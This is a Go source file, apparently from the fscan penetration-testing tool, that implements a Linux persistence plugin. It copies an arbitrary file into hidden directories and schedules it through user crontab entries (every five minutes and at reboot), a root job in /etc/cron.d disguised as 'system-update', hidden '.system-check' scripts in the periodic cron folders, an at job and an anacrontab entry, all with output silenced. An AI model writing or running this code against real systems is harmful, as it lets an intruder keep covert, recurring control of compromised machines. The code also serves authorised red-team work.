fscan/Plugins/local/crontask/plugin.go
ZacharyZcR b89bf4b0da refactor: 规范本地插件编译标签和注册架构
- 为所有平台特定插件添加正确的编译标签
  - Linux插件添加 //go:build linux 标签
  - Windows插件添加 //go:build windows 标签
- 重构本地插件注册方式
  - 从main.go移至core包统一管理
  - 创建平台特定的注册文件实现条件编译
- 修正参数文档中minidump平台支持描述
- 优化插件注册架构,提升代码组织性
2025-08-11 21:36:14 +08:00

424 lines
11 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

//go:build linux
package crontask
import (
"context"
"fmt"
"os"
"os/exec"
"os/user"
"path/filepath"
"runtime"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// CronTaskPlugin 计划任务持久化插件 - 使用简化架构
type CronTaskPlugin struct {
*local.BaseLocalPlugin
targetFile string
}
// NewCronTaskPlugin 创建计划任务持久化插件 - 简化版本
func NewCronTaskPlugin() *CronTaskPlugin {
// 从全局参数获取目标文件路径
targetFile := common.PersistenceTargetFile
if targetFile == "" {
targetFile = "" // 需要用户指定
}
metadata := &base.PluginMetadata{
Name: "crontask",
Version: "1.0.0",
Author: "fscan-team",
Description: "Linux 计划任务持久化插件通过crontab定时任务实现持久化",
Category: "local",
Tags: []string{"local", "persistence", "linux", "cron", "schedule"},
Protocols: []string{"local"},
}
plugin := &CronTaskPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
targetFile: targetFile,
}
// 只支持Linux平台
plugin.SetPlatformSupport([]string{"linux"})
// 需要crontab权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// Initialize 初始化插件
func (p *CronTaskPlugin) Initialize() error {
if p.targetFile == "" {
return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径")
}
// 检查目标文件是否存在
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
return fmt.Errorf("目标文件不存在: %s", p.targetFile)
}
// 检查crontab是否可用
if _, err := exec.LookPath("crontab"); err != nil {
return fmt.Errorf("crontab命令不可用: %v", err)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行计划任务持久化 - 简化版本
func (p *CronTaskPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
if runtime.GOOS != "linux" {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("计划任务持久化只支持Linux平台"),
}, nil
}
common.LogBase("开始计划任务持久化...")
common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile))
// 执行持久化操作
results := make([]string, 0)
// 1. 复制文件到持久化目录
persistPath, err := p.copyToPersistPath()
if err != nil {
common.LogError(fmt.Sprintf("复制文件失败: %v", err))
} else {
results = append(results, fmt.Sprintf("文件已复制到: %s", persistPath))
common.LogSuccess(fmt.Sprintf("文件已复制到: %s", persistPath))
}
// 2. 添加用户crontab任务
err = p.addUserCronJob(persistPath)
if err != nil {
common.LogError(fmt.Sprintf("添加用户cron任务失败: %v", err))
} else {
results = append(results, "已添加用户crontab任务")
common.LogSuccess("已添加用户crontab任务")
}
// 3. 添加系统cron任务
systemCronFiles, err := p.addSystemCronJobs(persistPath)
if err != nil {
common.LogError(fmt.Sprintf("添加系统cron任务失败: %v", err))
} else {
results = append(results, fmt.Sprintf("已添加系统cron任务: %s", strings.Join(systemCronFiles, ", ")))
common.LogSuccess("已添加系统cron任务")
}
// 4. 创建at任务一次性任务
err = p.addAtJob(persistPath)
if err != nil {
common.LogError(fmt.Sprintf("添加at任务失败: %v", err))
} else {
results = append(results, "已添加at延时任务")
common.LogSuccess("已添加at延时任务")
}
// 5. 创建anacron任务
err = p.addAnacronJob(persistPath)
if err != nil {
common.LogError(fmt.Sprintf("添加anacron任务失败: %v", err))
} else {
results = append(results, "已添加anacron任务")
common.LogSuccess("已添加anacron任务")
}
success := len(results) > 0
result := &base.ScanResult{
Success: success,
Service: "CronTaskPersistence",
Banner: fmt.Sprintf("计划任务持久化完成 - 目标: %s", filepath.Base(p.targetFile)),
Extra: map[string]interface{}{
"target_file": p.targetFile,
"platform": runtime.GOOS,
"methods": results,
"status": "completed",
},
}
return result, nil
}
// copyToPersistPath 复制文件到持久化目录
func (p *CronTaskPlugin) copyToPersistPath() (string, error) {
// 选择持久化目录
persistDirs := []string{
"/tmp/.system",
"/var/tmp/.cache",
"/opt/.local",
}
// 获取用户目录
if usr, err := user.Current(); err == nil {
userDirs := []string{
filepath.Join(usr.HomeDir, ".local", "bin"),
filepath.Join(usr.HomeDir, ".cache"),
}
persistDirs = append(userDirs, persistDirs...)
}
var targetDir string
for _, dir := range persistDirs {
if err := os.MkdirAll(dir, 0755); err == nil {
targetDir = dir
break
}
}
if targetDir == "" {
return "", fmt.Errorf("无法创建持久化目录")
}
// 生成隐藏文件名
basename := filepath.Base(p.targetFile)
hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename))
if p.isScriptFile() {
hiddenName += ".sh"
}
targetPath := filepath.Join(targetDir, hiddenName)
// 复制文件
err := p.copyFile(p.targetFile, targetPath)
if err != nil {
return "", err
}
// 设置执行权限
os.Chmod(targetPath, 0755)
return targetPath, nil
}
// copyFile 复制文件内容
func (p *CronTaskPlugin) copyFile(src, dst string) error {
sourceData, err := os.ReadFile(src)
if err != nil {
return err
}
return os.WriteFile(dst, sourceData, 0755)
}
// addUserCronJob 添加用户crontab任务
func (p *CronTaskPlugin) addUserCronJob(execPath string) error {
// 获取现有crontab
cmd := exec.Command("crontab", "-l")
currentCrontab, _ := cmd.Output()
// 生成新的cron任务
cronJobs := p.generateCronJobs(execPath)
newCrontab := string(currentCrontab)
for _, job := range cronJobs {
if !strings.Contains(newCrontab, execPath) {
if newCrontab != "" && !strings.HasSuffix(newCrontab, "\n") {
newCrontab += "\n"
}
newCrontab += job + "\n"
}
}
// 应用新的crontab
cmd = exec.Command("crontab", "-")
cmd.Stdin = strings.NewReader(newCrontab)
return cmd.Run()
}
// addSystemCronJobs 添加系统cron任务
func (p *CronTaskPlugin) addSystemCronJobs(execPath string) ([]string, error) {
cronDirs := []string{
"/etc/cron.d",
"/etc/cron.hourly",
"/etc/cron.daily",
"/etc/cron.weekly",
"/etc/cron.monthly",
}
var modified []string
// 在cron.d中创建配置文件
cronFile := filepath.Join("/etc/cron.d", "system-update")
cronContent := fmt.Sprintf("*/5 * * * * root %s >/dev/null 2>&1\n", execPath)
if err := os.WriteFile(cronFile, []byte(cronContent), 0644); err == nil {
modified = append(modified, cronFile)
}
// 在每个cron目录中创建脚本
for _, cronDir := range cronDirs[1:] { // 跳过cron.d
if _, err := os.Stat(cronDir); os.IsNotExist(err) {
continue
}
scriptFile := filepath.Join(cronDir, ".system-check")
scriptContent := fmt.Sprintf("#!/bin/bash\n%s >/dev/null 2>&1 &\n", execPath)
if err := os.WriteFile(scriptFile, []byte(scriptContent), 0755); err == nil {
modified = append(modified, scriptFile)
}
}
if len(modified) == 0 {
return nil, fmt.Errorf("无法创建任何系统cron任务")
}
return modified, nil
}
// addAtJob 添加at延时任务
func (p *CronTaskPlugin) addAtJob(execPath string) error {
// 检查at命令是否可用
if _, err := exec.LookPath("at"); err != nil {
return err
}
// 创建5分钟后执行的任务
atCommand := fmt.Sprintf("echo '%s >/dev/null 2>&1' | at now + 5 minutes", execPath)
cmd := exec.Command("sh", "-c", atCommand)
return cmd.Run()
}
// addAnacronJob 添加anacron任务
func (p *CronTaskPlugin) addAnacronJob(execPath string) error {
anacronFile := "/etc/anacrontab"
// 检查anacrontab是否存在
if _, err := os.Stat(anacronFile); os.IsNotExist(err) {
return err
}
// 读取现有内容
content := ""
if data, err := os.ReadFile(anacronFile); err == nil {
content = string(data)
}
// 检查是否已存在
if strings.Contains(content, execPath) {
return nil
}
// 添加新任务
anacronLine := fmt.Sprintf("1\t5\tsystem.update\t%s >/dev/null 2>&1", execPath)
if !strings.HasSuffix(content, "\n") && content != "" {
content += "\n"
}
content += anacronLine + "\n"
return os.WriteFile(anacronFile, []byte(content), 0644)
}
// generateCronJobs 生成多种cron任务
func (p *CronTaskPlugin) generateCronJobs(execPath string) []string {
baseCmd := execPath
if p.isScriptFile() {
baseCmd = fmt.Sprintf("bash %s", execPath)
}
baseCmd += " >/dev/null 2>&1"
return []string{
// 每5分钟执行一次
fmt.Sprintf("*/5 * * * * %s", baseCmd),
// 每小时执行一次
fmt.Sprintf("0 * * * * %s", baseCmd),
// 每天执行一次
fmt.Sprintf("0 0 * * * %s", baseCmd),
// 启动时执行
fmt.Sprintf("@reboot %s", baseCmd),
}
}
// isScriptFile 检查是否为脚本文件
func (p *CronTaskPlugin) isScriptFile() bool {
ext := strings.ToLower(filepath.Ext(p.targetFile))
return ext == ".sh" || ext == ".bash" || ext == ".zsh"
}
// GetLocalData 获取计划任务持久化本地数据
func (p *CronTaskPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "crontask"
data["platform"] = runtime.GOOS
data["target_file"] = p.targetFile
data["persistence_method"] = "Cron Task"
if hostname, err := os.Hostname(); err == nil {
data["hostname"] = hostname
}
// 获取当前时间
data["schedule_time"] = time.Now().Format("2006-01-02 15:04:05")
return data, nil
}
// ExtractData 提取数据
func (p *CronTaskPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("计划任务持久化完成,目标文件: %s", p.targetFile),
Data: data,
Extra: map[string]interface{}{
"target_file": p.targetFile,
"persistence_method": "Cron Task",
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *CronTaskPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("计划任务持久化插件\n")
info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
info.WriteString("支持平台: Linux\n")
info.WriteString("功能: 通过cron定时任务实现持久化\n")
info.WriteString("方法: crontab、系统cron、at任务、anacron\n")
info.WriteString("频率: 每5分钟、每小时、每天、启动时\n")
info.WriteString("支持文件: 可执行文件和shell脚本\n")
return info.String()
}
// RegisterCronTaskPlugin 注册计划任务持久化插件
func RegisterCronTaskPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "crontask",
Version: "1.0.0",
Author: "fscan-team",
Description: "Linux 计划任务持久化插件通过crontab定时任务实现持久化",
Category: "local",
Tags: []string{"crontask", "local", "persistence", "linux"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewCronTaskPlugin()
},
)
base.GlobalPluginRegistry.Register("crontask", factory)
}
// init 插件注册函数
func init() {
RegisterCronTaskPlugin()
}